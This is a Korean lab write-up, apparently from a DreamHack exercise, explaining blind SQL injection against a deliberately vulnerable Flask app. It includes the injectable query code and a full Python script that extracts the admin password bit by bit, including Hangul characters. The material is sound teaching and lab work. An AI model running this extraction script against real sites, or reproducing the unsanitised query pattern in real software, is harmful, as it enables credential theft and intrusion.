
가장 먼저 문제 지문에서 관리자의 비밀번호는 "아스키코드"와 "한글"로 구성되어 있습니다.
를 확인해볼 수 있다.
app.py 파일
import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
{% if nrows == 1%}
<pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''
@app.route('/', methods=['GET'])
def index():
uid = request.args.get('uid', '')
nrows = 0
if uid:
cur = mysql.connection.cursor()
nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")
return render_template_string(template, uid=uid, nrows=nrows)
if __name__ == '__main__':
app.run(host='0.0.0.0')
/ 경로에 GET 메소드로 uid 파라미터를 통해 이용자 입력을 전달받는다. 이후 전달받은
입력은 별도의 필터링없이 mysql 쿼리에 사용되므로 SQL Injection 취약점이 발생한다.
쿼리의 실행 결과를 그대로 출력해주지 않고, 쿼리 성공 여부만 알 수 있기 때문에
Blind SQL Injection 공격을 이용해야 한다.
init.sql 파일
CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `user_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;
user_db 데이터베이스를 utf-8 언어 셋으로 생성하며, 테이블에는 초기 세 개의 row를
초기화한다. admin 계정의 패스워드가 플래그임을 알 수 있다.
utf-8 언어셋에서 한글은 경우의 수가 너무 많이 존재하므로
기존 브루트포싱을 통해선 추출 시간이 너무 오래 걸리고, 방화벽에 탐지될 가능성이 높다.
따라서 이전에 배웠던 비트연산을 이용한 공격을 활용해야 한다.
{% if nrows == 1%}
<pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
템플릿에서 row 가 1개여야 하는 조건을 만족시켜야 하므로 단순히 ' or 1=1-- 이 아닌
' or 1=1 limit 0,1-- 을 사용해야 한다. limit을 사용하지 않을 경우 세 개의 row가
반환되어 참/거짓을 구분할 수 있는 문장을 확인할 수 없다.
본격적인 비트연산을 통해 SQL Injection 공격을 수행하기에 앞서
우리가 필요한 정보는 다음과 같다.
1. admin 패스워드 길이 찾기
2. 각 문자 별 비트열 길이 찾기 (한글인지 아스키코드인지 모르기 때문)
3. 각 문자 별 비트열 추출 (아스키코드 최대 8번, 한글 최대 24번)
4. 비트열을 문자로 변환
익스플로잇은 파이썬의 request 모듈을 통해 웹 요청을 보내는 코드를 작성한다.
1. admin 패스워트 길이 찾기
MySQL에서 데이터의 길이를 알아내기 위해 length 함수를 사용하였다. 이 함수는
문자열을 bytes 형태로 표현하였을 때의 길이를 반환하므로, 인코딩에 관계없이
전체 문자열을 표현하는데에 사용되는 바이트의 수 를 반환한다.
현재 문자열이 아스키코드로만 구성되어있지 않으므로 char_length 함수를 사용한다.
| 함수 | 반환 단위 | 예: 'abc' | 예: '가나다' (UTF-8) |
|---|---|---|---|
| LENGTH | 바이트 수 | 3 | 9 (한글 1글자 = 3바이트) |
| CHAR_LENGTH | 문자 수 | 3 | 3 (한글 1글자 = 1문자) |
request 모듈을 이용하여 코드를 작성하면 다음과 같다.
from requests import get
host = "http://localhost:5000"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
uid 파라미터에 upw의 길이를 비교하는 쿼리를 이용하여
문자열 "exists"를 통해 참/거짓 여부를 판단하면서 upw의 길이를 확인할 수 있다.
2. 각 문자 별 비트열 길이 찾기
패스워드 각각의 문자가 한글인지 아스키코드인지 알 수 없으므로,
비트열로 변환하기 전에 각 비트열의 길이를 찾아야 한다.
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
총 패스워드 길이 만큼 반복하며, 각 글자의 비트길이를 찾는다.
length 함수를 사용한 이유는 bin 함수로 인해 반환된 값이 이진수로, 모두 0과 1로
이루어져있기 때문에 사용해도 무방하다.
3. 각 문자 별 비트열 추출
각 문자별 비트열 길이를 알았으므로, 각 문자별 비트열을 모두 추출해야 한다.
한 문자의 비트열 길이를 구하면, 그 비트열 길이 만큼 반복하여
한 문자의 비트열을 알아낸다.
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
4. 비트열을 문자로 변환
최종적으로 추출한 비트열을 다시 문자로 변환한다.
가의 경우 utf-8로 인코딩하였을때 \xea\xb0\x80으로 표현되며 이는 비트열로
111010101011000010000000가 된다. 이를 다시 문자로 변경하기 위해서는
비트열을 정수로 변환하기 위해 int 클래스를 사용하고, Big Endian 형태는
int.to_bytes 함수를 사용한다. 문자를 인코딩에 맞게 변환은 bytes.decode을 사용한다.
password = ""
for i in range(1, password_length + 1):
...
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
전체 코드
from requests import get
host = "http://localhost:5000"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
password = ""
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)
이렇게 아스키코드를 벗어나는 다른 인코딩의 문자가 포함되어있을 시,
효율적인 공격이 필요하다. 문자를 순차적으로 브루트포싱 했으면 한 글자를 추출하는 데
약 11,712번의 요청일 필요했으나, 비트 연산을 이용하여 24번의 요청으로 추출하였다.
DreamHack 강의 - [WHA-S] Exercise: Blind SQL Injection Advanced